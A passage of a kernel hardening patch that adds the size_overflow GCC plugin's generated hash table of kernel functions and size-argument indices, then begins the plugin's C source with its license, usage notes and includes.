gspca_dev_probe2 4 59833 _003430_hash NULL ++_003431_hash hdpvr_read 3 9273 _003431_hash NULL ++_003432_hash hecubafb_write 3 26942 _003432_hash NULL ++_003433_hash i915_compat_ioctl 2 3656 _003433_hash NULL ++_003434_hash i915_gem_execbuffer_relocate_slow 7 25355 _003434_hash NULL ++_003435_hash ieee80211_alloc_txb 1-2 52477 _003435_hash NULL ++_003437_hash ieee80211_authentication_req 3 63973 _003437_hash NULL ++_003438_hash ieee80211_wx_set_gen_ie 3 51399 _003438_hash NULL ++_003439_hash ieee80211_wx_set_gen_ie_rsl 3 3521 _003458_hash NULL nohasharray ++_003440_hash intel_sdvo_set_value 4 2311 _003440_hash NULL ++_003441_hash ir_lirc_transmit_ir 3 64403 _003441_hash NULL ++_003442_hash irq_blk_threshold_read 3 33666 _003442_hash NULL ++_003443_hash irq_pkt_threshold_read 3 33356 _003443_hash &_000154_hash ++_003444_hash irq_timeout_read 3 54653 _003444_hash NULL ++_003445_hash ivtv_buf_copy_from_user 4 25502 _003445_hash NULL ++_003446_hash ivtv_copy_buf_to_user 4 6159 _003446_hash NULL ++_003447_hash ivtvfb_write 3 40023 _003447_hash NULL ++_003448_hash kgdb_hex2mem 3 24755 _003448_hash NULL ++_003449_hash lirc_buffer_init 2-3 53282 _003449_hash NULL ++_003451_hash lirc_write 3 20604 _003451_hash NULL ++_003452_hash mce_request_packet 3 1073 _003452_hash NULL ++_003453_hash media_entity_init 2-4 15870 _003453_hash &_001742_hash ++_003455_hash mem_fw_gen_free_mem_blks_read 3 11413 _003455_hash NULL ++_003456_hash mem_fwlog_free_mem_blks_read 3 59616 _003456_hash NULL ++_003457_hash mem_rx_free_mem_blks_read 3 675 _003457_hash NULL ++_003458_hash mem_tx_free_mem_blks_read 3 3521 _003458_hash &_003439_hash ++_003459_hash metronomefb_write 3 8823 _003459_hash NULL ++_003460_hash mga_compat_ioctl 2 52170 _003460_hash NULL ++_003461_hash mmio_read 4 40348 _003461_hash NULL ++_003462_hash netlink_send 5 38434 _003462_hash NULL ++_003463_hash nfc_hci_execute_cmd 5 43882 _003463_hash NULL ++_003464_hash nfc_hci_send_event 5 21452 _003464_hash NULL ++_003465_hash nfc_hci_send_response 5 56462 _003465_hash NULL ++_003466_hash ni_gpct_device_construct 5 610 _003466_hash NULL ++_003467_hash nouveau_compat_ioctl 2 28305 _003467_hash NULL ++_003468_hash odev_update 2 50169 _003468_hash NULL ++_003469_hash opera1_usb_i2c_msgxfer 4 64521 _003469_hash NULL ++_003470_hash OSDSetBlock 2-4 38986 _003470_hash NULL ++_003472_hash oz_add_farewell 5 20652 _003472_hash NULL ++_003473_hash oz_cdev_read 3 20659 _003473_hash NULL ++_003474_hash oz_cdev_write 3 33852 _003474_hash NULL ++_003475_hash oz_ep_alloc 2 5587 _003475_hash NULL ++_003476_hash oz_events_read 3 47535 _003476_hash NULL ++_003477_hash persistent_ram_buffer_map 1-2 11332 _003477_hash NULL ++_003479_hash pipeline_cs_rx_packet_in_read 3 37089 _003479_hash NULL ++_003480_hash pipeline_cs_rx_packet_out_read 3 58926 _003480_hash NULL ++_003481_hash pipeline_csum_to_rx_xfer_swi_read 3 15403 _003481_hash NULL ++_003482_hash pipeline_dec_packet_in_fifo_full_read 3 33052 _003482_hash NULL ++_003483_hash pipeline_dec_packet_in_read 3 47076 _003483_hash NULL ++_003484_hash pipeline_dec_packet_out_read 3 54052 _003484_hash NULL ++_003485_hash pipeline_defrag_to_csum_swi_read 3 63037 _003485_hash NULL ++_003486_hash pipeline_enc_rx_stat_fifo_int_read 3 7107 _003486_hash NULL ++_003487_hash pipeline_enc_tx_stat_fifo_int_read 3 14680 _003487_hash NULL ++_003488_hash pipeline_hs_tx_stat_fifo_int_read 3 15642 _003488_hash &_001260_hash ++_003489_hash pipeline_pipeline_fifo_full_read 3 34095 _003489_hash NULL ++_003490_hash pipeline_post_proc_swi_read 3 24108 _003490_hash NULL ++_003491_hash pipeline_pre_proc_swi_read 3 3898 _003491_hash NULL ++_003492_hash pipeline_pre_to_defrag_swi_read 3 56321 _003492_hash NULL ++_003493_hash pipeline_rx_complete_stat_fifo_int_read 3 40671 _003493_hash NULL ++_003494_hash pipeline_sec_frag_swi_read 3 30294 _003494_hash NULL ++_003495_hash pipeline_tcp_rx_stat_fifo_int_read 3 26745 _003495_hash NULL ++_003496_hash pipeline_tcp_tx_stat_fifo_int_read 3 32589 _003496_hash NULL ++_003497_hash play_iframe 3 8219 _003497_hash NULL ++_003498_hash probes_write 3 29711 _003498_hash NULL ++_003499_hash psb_unlocked_ioctl 2 16926 _003499_hash &_002668_hash ++_003500_hash ps_poll_ps_poll_max_ap_turn_read 3 53140 _003500_hash NULL ++_003501_hash ps_poll_ps_poll_timeouts_read 3 5934 _003501_hash NULL ++_003502_hash ps_poll_ps_poll_utilization_read 3 39383 _003502_hash NULL ++_003503_hash ps_poll_upsd_max_ap_turn_read 3 42050 _003503_hash NULL ++_003504_hash ps_poll_upsd_timeouts_read 3 36755 _003504_hash NULL ++_003505_hash ps_poll_upsd_utilization_read 3 28519 _003505_hash NULL ++_003506_hash pvr2_ioread_read 3 10720 _003506_hash &_001669_hash ++_003507_hash pvr2_ioread_set_sync_key 3 59882 _003507_hash NULL ++_003508_hash pvr2_stream_buffer_count 2 33719 _003508_hash NULL ++_003509_hash pwr_connection_out_of_sync_read 3 35061 _003509_hash NULL ++_003510_hash pwr_cont_miss_bcns_spread_read 3 39250 _003515_hash NULL nohasharray ++_003511_hash pwr_missing_bcns_cnt_read 3 45113 _003511_hash NULL ++_003512_hash pwr_rcvd_awake_bcns_cnt_read 3 12632 _003512_hash NULL ++_003513_hash pwr_rcvd_bcns_cnt_read 3 4774 _003513_hash NULL ++_003514_hash qc_capture 3 19298 _003514_hash NULL ++_003515_hash r128_compat_ioctl 2 39250 _003515_hash &_003510_hash ++_003516_hash radeon_compat_ioctl 2 59150 _003516_hash NULL ++_003517_hash radeon_kms_compat_ioctl 2 51371 _003517_hash NULL ++_003518_hash Realloc 2 34961 _003518_hash NULL ++_003519_hash redrat3_transmit_ir 3 64244 _003519_hash NULL ++_003520_hash reg_w_buf 3 27724 _003520_hash NULL ++_003521_hash reg_w_ixbuf 4 34736 _003521_hash NULL ++_003522_hash rtllib_alloc_txb 1-2 21687 _003522_hash NULL ++_003524_hash rtllib_authentication_req 3 26713 _003524_hash NULL ++_003525_hash rtllib_wx_set_gen_ie 3 59808 _003525_hash NULL ++_003526_hash rts51x_transfer_data_partial 6 5735 _003526_hash NULL ++_003527_hash rvmalloc 1 46873 _003527_hash NULL ++_003528_hash rx_decrypt_key_not_found_read 3 37820 _003528_hash NULL ++_003529_hash rx_defrag_called_read 3 1897 _003529_hash NULL ++_003530_hash rx_defrag_decrypt_failed_read 3 41411 _003530_hash NULL ++_003531_hash rx_defrag_init_called_read 3 35935 _003531_hash NULL ++_003532_hash rx_defrag_in_process_called_read 3 59338 _003532_hash NULL ++_003533_hash rx_defrag_need_decrypt_read 3 42253 _003533_hash NULL ++_003534_hash rx_defrag_need_defrag_read 3 28117 _003534_hash NULL ++_003535_hash rx_defrag_tkip_called_read 3 21031 _003535_hash NULL ++_003536_hash rx_filter_accum_arp_pend_requests_read 3 11003 _003536_hash NULL ++_003537_hash rx_filter_arp_filter_read 3 61914 _003537_hash NULL ++_003538_hash rx_filter_beacon_filter_read 3 49279 _003538_hash NULL ++_003539_hash rx_filter_data_filter_read 3 30098 _003539_hash NULL ++_003540_hash rx_filter_dup_filter_read 3 37238 _003540_hash NULL ++_003541_hash rx_filter_ibss_filter_read 3 50167 _003541_hash NULL ++_003542_hash rx_filter_max_arp_queue_dep_read 3 5851 _003542_hash NULL ++_003543_hash rx_filter_mc_filter_read 3 25712 _003543_hash NULL ++_003544_hash rx_filter_protection_filter_read 3 39282 _003544_hash NULL ++_003545_hash rx_rate_rx_frames_per_rates_read 3 7282 _003545_hash NULL ++_003546_hash rx_rx_beacon_early_term_read 3 21559 _003546_hash NULL ++_003547_hash rx_rx_checksum_result_read 3 50617 _003547_hash NULL ++_003548_hash rx_rx_cmplt_read 3 14753 _003548_hash NULL ++_003549_hash rx_rx_cmplt_task_read 3 35226 _003549_hash NULL ++_003550_hash rx_rx_defrag_end_read 3 505 _003550_hash NULL ++_003551_hash rx_rx_defrag_read 3 2010 _003551_hash NULL ++_003552_hash rx_rx_done_read 3 65217 _003552_hash NULL ++_003553_hash rx_rx_dropped_frame_read 3 23748 _003553_hash NULL ++_003554_hash rx_rx_frame_checksum_read 3 40140 _003554_hash NULL ++_003555_hash rx_rx_hdr_overflow_read 3 35002 _003555_hash NULL ++_003556_hash rx_rx_out_of_mpdu_nodes_read 3 64668 _003556_hash NULL ++_003557_hash rx_rx_phy_hdr_read 3 20950 _003557_hash NULL ++_003558_hash rx_rx_pre_complt_read 3 41653 _003558_hash NULL ++_003559_hash rx_rx_timeout_read 3 62389 _003559_hash NULL ++_003560_hash rx_rx_timeout_wa_read 3 50204 _003560_hash NULL ++_003561_hash rx_rx_tkip_replays_read 3 60193 _003561_hash NULL ++_003562_hash rx_rx_wa_ba_not_expected_read 3 61341 _003562_hash NULL ++_003563_hash rx_rx_wa_density_dropped_frame_read 3 26095 _003563_hash NULL ++_003564_hash rx_streaming_always_read 3 49401 _003564_hash NULL ++_003565_hash rx_streaming_interval_read 3 55291 _003565_hash NULL ++_003566_hash saa7164_buffer_alloc_user 2 9627 _003566_hash NULL ++_003567_hash send_control_msg 6 48498 _003567_hash NULL ++_003568_hash SendTxCommandPacket 3 42901 _003568_hash NULL ++_003569_hash setup_window 2-7-5-4 59178 _003569_hash NULL ++_003573_hash shmem_pwrite_fast 3 46842 _003573_hash NULL ++_003574_hash sleep_auth_read 3 19159 _003574_hash NULL ++_003575_hash sn9c102_read 3 29305 _003575_hash NULL ++_003576_hash snd_pcm_alloc_vmalloc_buffer 2 44595 _003576_hash NULL ++_003577_hash split_scan_timeout_read 3 20029 _003577_hash NULL ++_003578_hash stk_prepare_sio_buffers 2 57168 _003578_hash NULL ++_003579_hash store_debug_level 3 35652 _003579_hash NULL ++_003580_hash suspend_dtim_interval_read 3 64971 _003580_hash NULL ++_003581_hash sys_prctl 4 8766 _003581_hash NULL ++_003582_hash tm6000_read_write_usb 7 50774 _003582_hash &_002149_hash ++_003583_hash tracing_read_pipe 3 35312 _003583_hash NULL ++_003584_hash ts_read 3 44687 _003584_hash NULL ++_003585_hash ts_write 3 64336 _003585_hash NULL ++_003586_hash tt3650_ci_msg 4 57219 _003586_hash NULL ++_003587_hash ttm_object_device_init 2 10321 _003587_hash NULL ++_003588_hash ttm_object_file_init 2 27804 _003588_hash NULL ++_003589_hash tx_frag_bad_mblk_num_read 3 28064 _003589_hash NULL ++_003590_hash tx_frag_cache_hit_read 3 29639 _003590_hash NULL ++_003591_hash tx_frag_cache_miss_read 3 28394 _003591_hash NULL ++_003592_hash tx_frag_called_read 3 1748 _003592_hash NULL ++_003593_hash tx_frag_failed_read 3 43540 _003593_hash NULL ++_003594_hash tx_frag_init_called_read 3 48377 _003594_hash NULL ++_003595_hash tx_frag_in_process_called_read 3 1290 _003595_hash NULL ++_003596_hash tx_frag_key_not_found_read 3 22971 _003596_hash NULL ++_003597_hash tx_frag_mpdu_alloc_failed_read 3 41167 _003597_hash NULL ++_003598_hash tx_frag_need_fragmentation_read 3 50153 _003598_hash NULL ++_003599_hash tx_frag_tkip_called_read 3 31575 _003599_hash NULL ++_003600_hash tx_tx_burst_programmed_read 3 20320 _003600_hash NULL ++_003601_hash tx_tx_checksum_result_read 3 36490 _003601_hash &_001996_hash ++_003602_hash tx_tx_cmplt_read 3 35854 _003602_hash NULL ++_003603_hash tx_tx_data_prepared_read 3 43497 _003603_hash NULL ++_003604_hash tx_tx_data_programmed_read 3 36871 _003604_hash NULL ++_003605_hash tx_tx_done_data_read 3 6799 _003605_hash NULL ++_003606_hash tx_tx_done_int_template_read 3 55511 _003606_hash &_001887_hash ++_003607_hash tx_tx_done_template_read 3 35104 _003607_hash &_000106_hash ++_003608_hash tx_tx_exch_expiry_read 3 8749 _003608_hash NULL ++_003609_hash tx_tx_exch_pending_read 3 53018 _003609_hash NULL ++_003610_hash tx_tx_exch_read 3 52986 _003610_hash NULL ++_003611_hash tx_tx_frame_checksum_read 3 41553 _003611_hash NULL ++_003612_hash tx_tx_imm_resp_read 3 55964 _003612_hash NULL ++_003613_hash tx_tx_prepared_descs_read 3 9221 _003613_hash NULL ++_003614_hash tx_tx_retry_data_read 3 1926 _003614_hash NULL ++_003615_hash tx_tx_retry_template_read 3 57623 _003615_hash NULL ++_003616_hash tx_tx_start_data_read 3 53219 _003616_hash NULL ++_003617_hash tx_tx_start_fw_gen_read 3 58648 _003617_hash NULL ++_003618_hash tx_tx_start_int_templates_read 3 58324 _003618_hash NULL ++_003619_hash tx_tx_start_null_frame_read 3 6281 _003619_hash NULL ++_003620_hash tx_tx_starts_read 3 3617 _003620_hash NULL ++_003621_hash tx_tx_start_templates_read 3 17164 _003621_hash NULL ++_003622_hash tx_tx_template_prepared_read 3 30424 _003622_hash NULL ++_003623_hash tx_tx_template_programmed_read 3 30461 _003623_hash NULL ++_003624_hash udi_log_event 3 58105 _003624_hash NULL ++_003625_hash udl_prime_create 2 57159 _003625_hash NULL ++_003626_hash uf_create_device_nodes 2 24948 _003626_hash NULL ++_003627_hash uf_sme_queue_message 3 15697 _003627_hash NULL ++_003628_hash ufx_alloc_urb_list 3 10349 _003628_hash NULL ++_003629_hash unifi_net_data_malloc 3 24716 _003629_hash NULL ++_003630_hash unifi_read 3 14899 _003630_hash NULL ++_003631_hash unifi_write 3 65012 _003631_hash NULL ++_003632_hash usb_buffer_alloc 2 36276 _003632_hash NULL ++_003633_hash usbvision_rvmalloc 1 19655 _003633_hash NULL ++_003634_hash usbvision_v4l2_read 3 34386 _003634_hash NULL ++_003635_hash uvc_alloc_buffers 2-3 9656 _003635_hash NULL ++_003637_hash uvc_alloc_entity 3-4 20836 _003637_hash NULL ++_003639_hash uvc_debugfs_stats_read 3 56651 _003639_hash NULL ++_003640_hash uvc_simplify_fraction 3 31303 _003640_hash NULL ++_003641_hash v4l2_ctrl_new 7 24927 _003641_hash NULL ++_003642_hash v4l2_event_subscribe 3 53687 _003642_hash NULL ++_003643_hash v4l_stk_read 3 39672 _003643_hash NULL ++_003644_hash __vb2_perform_fileio 3 63033 _003644_hash NULL ++_003645_hash vfd_write 3 14717 _003645_hash NULL ++_003646_hash vfio_config_do_rw 3 46091 _003646_hash NULL ++_003647_hash vfio_msi_enable 2 20906 _003647_hash NULL ++_003648_hash viafb_dvp0_proc_write 3 23023 _003648_hash NULL ++_003649_hash viafb_dvp1_proc_write 3 48864 _003649_hash NULL ++_003650_hash viafb_vt1636_proc_write 3 16018 _003650_hash NULL ++_003651_hash __videobuf_alloc_vb 1 27062 _003651_hash NULL ++_003652_hash __videobuf_alloc_vb 1 5665 _003652_hash NULL ++_003653_hash __videobuf_copy_to_user 4 15423 _003653_hash NULL ++_003654_hash videobuf_dma_init_kernel 3 6963 _003654_hash NULL ++_003655_hash videobuf_pages_to_sg 2 3708 _003655_hash NULL ++_003656_hash videobuf_vmalloc_to_sg 2 4548 _003656_hash NULL ++_003657_hash video_usercopy 2 62151 _003657_hash NULL ++_003658_hash virtscsi_alloc_tgt 2 6643 _003658_hash NULL ++_003659_hash vmw_cursor_update_image 3-4 16332 _003659_hash NULL ++_003661_hash vmw_framebuffer_dmabuf_dirty 6 37661 _003661_hash &_001116_hash ++_003662_hash vmw_framebuffer_surface_dirty 6 48132 _003662_hash NULL ++_003663_hash vmw_gmr2_bind 3 21305 _003663_hash NULL ++_003664_hash vmw_unlocked_ioctl 2 19212 _003664_hash NULL ++_003665_hash w9966_v4l_read 3 31148 _003665_hash NULL ++_003666_hash wl1273_fm_fops_write 3 60621 _003666_hash NULL ++_003667_hash zoran_write 3 22404 _003667_hash NULL ++_003668_hash alloc_vm_area 1 15989 _003668_hash NULL ++_003669_hash cx18_copy_mdl_to_user 4 45549 _003669_hash NULL ++_003670_hash dlfb_ops_write 3 64150 _003670_hash NULL ++_003671_hash dvb_demux_read 3 13981 _003671_hash NULL ++_003672_hash dvb_dmxdev_read_sec 4 7892 _003672_hash NULL ++_003673_hash dvb_dvr_read 3 17073 _003673_hash NULL ++_003674_hash em28xx_init_isoc 4 62883 _003674_hash &_000729_hash ++_003675_hash fb_alloc_cmap 2 6554 _003675_hash NULL ++_003676_hash gspca_dev_probe 4 2570 _003676_hash NULL ++_003677_hash ieee80211_auth_challenge 3 18810 _003677_hash NULL ++_003678_hash ieee80211_rtl_auth_challenge 3 61897 _003678_hash NULL ++_003679_hash init_pci_cap_msi_perm 2 59033 _003679_hash NULL ++_003680_hash __ioremap_caller 1-2 21800 _003680_hash NULL ++_003682_hash ivtv_read 3 57796 _003682_hash NULL ++_003683_hash ivtv_v4l2_write 3 39226 _003683_hash NULL ++_003684_hash mce_async_out 3 58056 _003684_hash NULL ++_003685_hash mce_flush_rx_buffer 2 14976 _003685_hash NULL ++_003686_hash ms_read_multiple_pages 4-5 8052 _003686_hash NULL ++_003688_hash ms_write_multiple_pages 5-6 10362 _003688_hash NULL ++_003690_hash nfc_hci_send_cmd 5 55714 _003690_hash NULL ++_003691_hash persistent_ram_new 1-2 40501 _003691_hash NULL ++_003693_hash picolcd_fb_write 3 2318 _003693_hash NULL ++_003694_hash process_bulk_data_command 4 38906 _003694_hash NULL ++_003695_hash pvr2_v4l2_read 3 18006 _003695_hash NULL ++_003696_hash qcam_read 3 13977 _003696_hash NULL ++_003697_hash register_unifi_sdio 2 55239 _003697_hash NULL ++_003698_hash resize_async_buffer 4 64031 _003698_hash &_002431_hash ++_003699_hash rtllib_auth_challenge 3 12493 _003699_hash NULL ++_003702_hash stk_allocate_buffers 2 16291 _003702_hash NULL ++_003703_hash subdev_ioctl 2 28417 _003703_hash NULL ++_003704_hash _sys_packet_req 4 46793 _003704_hash NULL ++_003705_hash tm6000_i2c_recv_regs16 5 2949 _003705_hash NULL ++_003706_hash tm6000_i2c_recv_regs 5 46215 _003706_hash NULL ++_003707_hash tm6000_i2c_send_regs 5 20250 _003707_hash NULL ++_003708_hash tt3650_ci_msg_locked 4 8013 _003708_hash NULL ++_003709_hash ufx_ops_write 3 54848 _003709_hash NULL ++_003710_hash update_macheader 7 1775 _003710_hash NULL ++_003711_hash usbdux_attach_common 4 51764 _003750_hash NULL nohasharray ++_003712_hash usbduxfast_attach_common 4 52538 _003712_hash NULL ++_003713_hash usbduxsigma_attach_common 4 40847 _003713_hash NULL ++_003714_hash uvc_v4l2_ioctl 2 8411 _003714_hash NULL ++_003715_hash v4l2_ctrl_new_int_menu 4 41151 _003715_hash NULL ++_003716_hash v4l2_ctrl_new_std 5 45748 _003716_hash &_000497_hash ++_003717_hash v4l2_ctrl_new_std_menu 4 6221 _003717_hash NULL ++_003718_hash vb2_read 3 42703 _003718_hash NULL ++_003719_hash vb2_write 3 31948 _003719_hash NULL ++_003720_hash vfio_pci_set_msi_trigger 3-4 26507 _003720_hash NULL ++_003722_hash viafb_iga1_odev_proc_write 3 36241 _003722_hash NULL ++_003723_hash viafb_iga2_odev_proc_write 3 2363 _003723_hash NULL ++_003724_hash __videobuf_alloc_cached 1 12740 _003724_hash NULL ++_003725_hash __videobuf_alloc_uncached 1 55711 _003725_hash NULL ++_003726_hash __videobuf_copy_stream 4 44769 _003726_hash NULL ++_003727_hash videobuf_read_one 3 31637 _003727_hash NULL ++_003728_hash video_ioctl2 2 21380 _003728_hash NULL ++_003729_hash vmap 2 15025 _003729_hash NULL ++_003730_hash vmw_cursor_update_dmabuf 3-4 32045 _003730_hash NULL ++_003732_hash vmw_gmr_bind 3 44130 _003732_hash NULL ++_003733_hash xd_read_multiple_pages 4-5 11422 _003733_hash NULL ++_003735_hash xd_write_multiple_pages 5-6 53633 _003735_hash NULL ++_003737_hash xenfb_write 3 43412 _003737_hash NULL ++_003738_hash arch_gnttab_map_shared 3 41306 _003738_hash NULL ++_003739_hash arch_gnttab_map_status 3 49812 _003739_hash NULL ++_003740_hash bttv_read 3 11432 _003740_hash NULL ++_003741_hash cx18_read 3 23699 _003741_hash NULL ++_003742_hash cx2341x_ctrl_new_menu 3 49700 _003742_hash NULL ++_003743_hash cx2341x_ctrl_new_std 4 57061 _003743_hash NULL ++_003744_hash cx25821_video_ioctl 2 30188 _003744_hash NULL ++_003745_hash dt3155_read 3 59226 _003745_hash NULL ++_003746_hash ioremap_cache 1-2 47189 _003746_hash NULL ++_003748_hash ioremap_nocache 1-2 2439 _003748_hash NULL ++_003750_hash ioremap_prot 1-2 51764 _003750_hash &_003711_hash ++_003752_hash ioremap_wc 1-2 62695 _003752_hash NULL ++_003754_hash ivtv_read_pos 3 34400 _003754_hash &_000312_hash ++_003755_hash mcam_v4l_read 3 36513 _003755_hash NULL ++_003756_hash ms_rw_multi_sector 3-4 7459 _003756_hash NULL ++_003758_hash pvr2_v4l2_ioctl 2 24398 _003758_hash &_000877_hash ++_003759_hash ramoops_init_prz 5 12134 _003759_hash NULL ++_003761_hash ttm_bo_kmap_ttm 3 5922 _003761_hash NULL ++_003762_hash uf_ap_process_data_pdu 7 25860 _003762_hash NULL ++_003763_hash vb2_fop_read 3 24080 _003763_hash NULL ++_003764_hash vb2_fop_write 3 30420 _003764_hash NULL ++_003765_hash videobuf_read_stream 3 14956 _003765_hash NULL ++_003766_hash video_read 3 28148 _003766_hash NULL ++_003767_hash vmw_du_crtc_cursor_set 4-5 28479 _003767_hash NULL ++_003769_hash xd_rw 3-4 49020 _003769_hash NULL ++_003771_hash zoran_ioctl 2 30465 _003771_hash NULL ++_003772_hash zr364xx_read 3 2354 _003772_hash NULL ++_003773_hash acpi_os_ioremap 1-2 49523 _003773_hash NULL ++_003775_hash au0828_v4l2_read 3 40220 _003775_hash NULL ++_003776_hash ca91cx42_alloc_resource 2 10502 _003776_hash NULL ++_003778_hash cx18_read_pos 3 4683 _003778_hash NULL ++_003779_hash cx18_v4l2_read 3 21196 _003779_hash NULL ++_003780_hash cx231xx_v4l2_read 3 55014 _003780_hash NULL ++_003781_hash devm_ioremap_nocache 2-3 2036 _003781_hash NULL ++_003783_hash do_test 1 15766 _003783_hash NULL ++_003784_hash __einj_error_trigger 1 17707 _003784_hash &_001764_hash ++_003785_hash em28xx_v4l2_read 3 16701 _003785_hash NULL ++_003786_hash init_chip_wc_pat 2 62768 _003786_hash NULL ++_003787_hash intel_render_ring_init_dri 2-3 45446 _003787_hash NULL ++_003789_hash io_mapping_create_wc 1-2 1354 _003789_hash NULL ++_003791_hash iommu_map_mmio_space 1 30919 _003791_hash NULL ++_003792_hash ioremap 1-2 23172 _003792_hash NULL ++_003794_hash ivtv_v4l2_read 3 1964 _003794_hash NULL ++_003795_hash mga_ioremap 1-2 8571 _003795_hash NULL ++_003797_hash mpeg_read 3 6708 _003797_hash NULL ++_003798_hash msix_map_region 3 3411 _003798_hash NULL ++_003799_hash ms_rw 3-4 17220 _003799_hash NULL ++_003801_hash pci_iomap 3 47575 _003801_hash NULL ++_003802_hash pd_video_read 3 24510 _003802_hash NULL ++_003803_hash sfi_map_memory 1-2 5183 _003803_hash NULL ++_003805_hash solo_enc_read 3 33553 _003805_hash NULL ++_003806_hash solo_v4l2_read 3 59247 _003806_hash NULL ++_003807_hash timblogiw_read 3 48305 _003807_hash NULL ++_003808_hash tm6000_read 3 4151 _003808_hash NULL ++_003809_hash tsi148_alloc_resource 2 24563 _003809_hash NULL ++_003810_hash ttm_bo_ioremap 2-3 31082 _003810_hash NULL ++_003812_hash ttm_bo_kmap 3-2 60118 _003812_hash NULL ++_003813_hash vb2_vmalloc_get_userptr 3 31374 _003813_hash NULL ++_003814_hash vbi_read 3 63673 _003814_hash NULL ++_003815_hash viacam_read 3 54526 _003815_hash NULL ++_003816_hash xlate_dev_mem_ptr 1 15291 _003816_hash &_001231_hash ++_003817_hash a4t_cs_init 3 27734 _003817_hash NULL ++_003818_hash aac_nark_ioremap 2 50163 _003818_hash &_000323_hash ++_003819_hash aac_rkt_ioremap 2 3333 _003819_hash NULL ++_003820_hash aac_rx_ioremap 2 52410 _003820_hash NULL ++_003821_hash aac_sa_ioremap 2 13596 _003821_hash &_000299_hash ++_003822_hash aac_src_ioremap 2 41688 _003822_hash NULL ++_003823_hash aac_srcv_ioremap 2 6659 _003823_hash NULL ++_003824_hash acpi_map 1-2 58725 _003824_hash NULL ++_003826_hash acpi_os_read_memory 1-3 54186 _003826_hash NULL ++_003828_hash acpi_os_write_memory 1-3 56416 _003828_hash &_003429_hash ++_003830_hash atyfb_setup_generic 3 49151 _003830_hash NULL ++_003831_hash ca91cx42_master_set 4 23146 _003831_hash NULL ++_003832_hash check_mirror 1-2 57342 _003832_hash &_001753_hash ++_003834_hash cycx_setup 4 47562 _003834_hash NULL ++_003835_hash devm_ioremap 2-3 29235 _003835_hash NULL ++_003837_hash divasa_remap_pci_bar 3-4 23485 _003837_hash &_000979_hash ++_003839_hash doc_probe 1 23285 _003839_hash NULL ++_003840_hash DoC_Probe 1 57534 _003840_hash NULL ++_003841_hash efi_ioremap 1-2 3492 _003841_hash &_001137_hash ++_003843_hash ems_pcmcia_add_card 2 62627 _003843_hash NULL ++_003844_hash isp1760_register 1-2 628 _003844_hash NULL ++_003846_hash mid_get_vbt_data_r0 2 10876 _003846_hash NULL ++_003847_hash mid_get_vbt_data_r10 2 6308 _003847_hash NULL ++_003848_hash mid_get_vbt_data_r1 2 26170 _003848_hash NULL ++_003849_hash mthca_map_reg 2-3 5664 _003849_hash NULL ++_003851_hash mthca_setup_cmd_doorbells 2 53954 _003851_hash NULL ++_003852_hash netxen_nic_map_indirect_address_128M 2 42257 _003852_hash NULL ++_003853_hash pcim_iomap 3 58334 _003853_hash NULL ++_003854_hash persistent_ram_iomap 1-2 47156 _003854_hash NULL ++_003856_hash read_vbt_r0 1 503 _003856_hash NULL ++_003857_hash read_vbt_r10 1 60679 _003857_hash NULL ++_003858_hash register_device 2-3 60015 _003858_hash NULL ++_003860_hash remap_pci_mem 1-2 15966 _003860_hash NULL ++_003862_hash rtl_port_map 1-2 2385 _003862_hash NULL ++_003864_hash sfi_map_table 1 5462 _003864_hash NULL ++_003865_hash sriov_enable_migration 2 14889 _003865_hash NULL ++_003866_hash ssb_bus_scan 2 36578 _003866_hash NULL ++_003867_hash ssb_ioremap 2 5228 _003867_hash NULL ++_003868_hash tpci200_slot_map_space 2 3848 _003868_hash NULL ++_003869_hash tpm_tis_init 2-3 15304 _003869_hash NULL ++_003871_hash tsi148_master_set 4 14685 _003871_hash NULL ++_003872_hash acpi_os_map_memory 1-2 11161 _003872_hash NULL ++_003874_hash com90xx_found 3 13974 _003874_hash NULL ++_003875_hash netxen_nic_hw_read_wx_128M 2 26858 _003875_hash NULL ++_003876_hash netxen_nic_hw_write_wx_128M 2 33488 _003876_hash NULL ++_003877_hash sfi_check_table 1 6772 _003877_hash NULL ++_003878_hash sfi_sysfs_install_table 1 51688 _003878_hash NULL ++_003879_hash sriov_enable 2 59689 _003879_hash NULL ++_003880_hash ssb_bus_register 3 65183 _003880_hash NULL ++_003881_hash acpi_ex_system_memory_space_handler 2 31192 _003881_hash NULL ++_003882_hash acpi_tb_check_xsdt 1 21862 _003882_hash NULL ++_003883_hash acpi_tb_install_table 1 12988 _003883_hash NULL ++_003884_hash acpi_tb_parse_root_table 1 53455 _003884_hash NULL ++_003885_hash check_vendor_extension 1 3254 _003885_hash NULL ++_003886_hash pci_enable_sriov 2 35745 _003886_hash NULL ++_003887_hash ssb_bus_pcmciabus_register 3 56020 _003887_hash NULL ++_003888_hash ssb_bus_ssbbus_register 2 2217 _003888_hash NULL ++_003889_hash lpfc_sli_probe_sriov_nr_virtfn 2 26004 _003889_hash NULL ++_003890_hash alloc_vm_area 1 36149 _003890_hash NULL ++_003891_hash cma_create_area 2 38642 _003891_hash NULL ++_003893_hash fbcon_prepare_logo 5 6246 _003893_hash NULL ++_003894_hash io_mapping_map_wc 2 19284 _003894_hash NULL ++_003895_hash nfs_dns_resolve_name 3 25036 _003895_hash NULL ++_003896_hash nfs_parse_server_name 2 1899 _003896_hash NULL +--- tools/gcc/size_overflow_plugin.c 1970-01-01 00:00:00.000000000 +0000 ++++ tools/gcc/size_overflow_plugin.c 2012-10-15 17:30:59.835924531 +0000 +@@ -0,0 +1,1879 @@ ++/* ++ * Copyright 2011, 2012 by Emese Revfy ++ * Licensed under the GPL v2, or (at your option) v3 ++ * ++ * Homepage: ++ * http://www.grsecurity.net/~ephox/overflow_plugin/ ++ * ++ * This plugin recomputes expressions of function arguments marked by a size_overflow attribute ++ * with double integer precision (DImode/TImode for 32/64 bit integer types). ++ * The recomputed argument is checked against TYPE_MAX and an event is logged on overflow and the triggering process is killed. ++ * ++ * Usage: ++ * $ gcc -I`gcc -print-file-name=plugin`/include/c-family -I`gcc -print-file-name=plugin`/include -fPIC -shared -O2 -ggdb -Wall -W -Wno-missing-field-initializers -o size_overflow_plugin.so size_overflow_plugin.c ++ * $ gcc -fplugin=size_overflow_plugin.so test.c -O2 ++ */ ++ ++#include "gcc-plugin.h" ++#include "config.h" ++#include "system.h" ++#include "coretypes.h" ++#include "tree.h" ++#include "tree-pass.h" ++#include "intl.h" ++#include "plugin-version.h" ++#include "tm.h" ++#include "toplev.h" ++#include "function.h" ++#include "tree-flow.h" ++#include "plugin.h" ++#include "gimple.h" ++#include "c-common.h" ++#include "diagnostic.h" ++#include "cfgloop.h" ++ ++#if BUILDING_GCC_VERSION >= 4007 ++#include "c-tree.h" ++#else ++#define C_DECL_IMPLICIT(EXP) DECL_LANG_FLAG_2 (EXP) ++#endif 